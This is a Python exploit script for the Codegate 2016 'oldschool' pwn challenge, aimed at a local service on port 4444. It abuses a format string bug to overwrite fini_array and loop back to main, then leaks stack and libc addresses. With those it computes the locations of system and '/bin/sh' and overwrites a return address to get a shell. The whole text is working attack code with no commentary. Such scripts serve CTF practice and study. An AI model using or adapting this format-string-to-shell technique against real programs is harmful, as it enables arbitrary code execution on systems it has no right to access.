[codegate 2016] oldschool pwn490

exploit.py

from No___Op import *

target = 'localhost:4444'

c = Pwning( target )

fini_array = 0x080496dc
main = 0x0804849b

offset = {
    '__libc_start_main': 0x19a00,
    'system': 0x40310,
    '/bin/sh': 0x16084c, # str
}

header = '%264$08x%267$08x'
fsb = FSB(7, header=header)
fsb.rewrite(fini_array, main)
c.sendall(fsb.get())

info_pay(fsb.get())

c.read_until('RESPONSE :')
#c.recv(8)
stack_leak = int(c.recv(8), 16)
libc_leak = int(c.recv(8), 16) #libc_start_main + 243

libc_base = libc_leak - offset['__libc_start_main'] - 243
libc_system = libc_base + offset['system']
libc_binsh = libc_base + offset['/bin/sh']

addr_ret = stack_leak - 0xe4

fsb = FSB(7)
fsb.rewrite(addr_ret, libc_system)
fsb.rewrite(addr_ret + 8, libc_binsh)
c.sendall(fsb.get())

c.shell()